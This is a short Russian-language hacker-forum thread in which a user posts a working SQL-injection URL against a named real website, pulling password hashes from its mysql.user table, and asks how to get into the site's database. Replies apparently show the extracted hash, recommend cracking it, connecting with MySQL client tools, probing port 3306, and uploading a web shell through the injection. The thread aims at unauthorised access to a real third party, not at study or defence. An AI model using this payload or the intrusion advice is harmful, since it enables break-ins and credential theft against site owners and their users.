mysql connect

Discussion in 'Уязвимости' started by muse, 2 May 2007.

  1. muse

    muse Elder - Старейшина

    Joined:
    25 Sep 2005
    Messages:
    28
    Likes Received:
    6
    Reputations:
    6
    подскажите как подключиь базу
    вот сайт http://www.wincleaner.com/
    на нем нашел sql inj
    http://www.wincleaner.com/products/details.php?uid=-1%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,password,22%20from%20mysql.user
    хотелось бы посмотреть ихнюю базу ;-)
    спс
     
  2. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    NaviCat
    hfccibahjdsdftim пасс коннектишься... Если пустит.
     
  3. n0ne

    n0ne Elder - Старейшина

    Joined:
    1 Jan 2007
    Messages:
    542
    Likes Received:
    284
    Reputations:
    -56
    крякаешь пароль, а потом для удобства прога EngInSite MySQL Client тебе в помощь.
     
  4. muse

    muse Elder - Старейшина

    Joined:
    25 Sep 2005
    Messages:
    28
    Likes Received:
    6
    Reputations:
    6
    тама голый руут без паса но наверно только локально можно получить доступ. так непускает :-(
     
  5. fly

    fly Member

    Joined:
    15 Apr 2007
    Messages:
    584
    Likes Received:
    95
    Reputations:
    -10
    Попробую telnet host.com 3306 (юзай rst sql client)! Или через скулю залей шелл.
     
  6. zl0ba

    zl0ba ПсихолоГ

    Joined:
    10 Oct 2006
    Messages:
    393
    Likes Received:
    301
    Reputations:
    52
    Удаленно подключиться к базе, не непокатит. Так как эту фичу отключают. Подключение будет возможно токо в локалке. Через скулю залей шелл и mysql клиент и конектися.
     
    1 person likes this.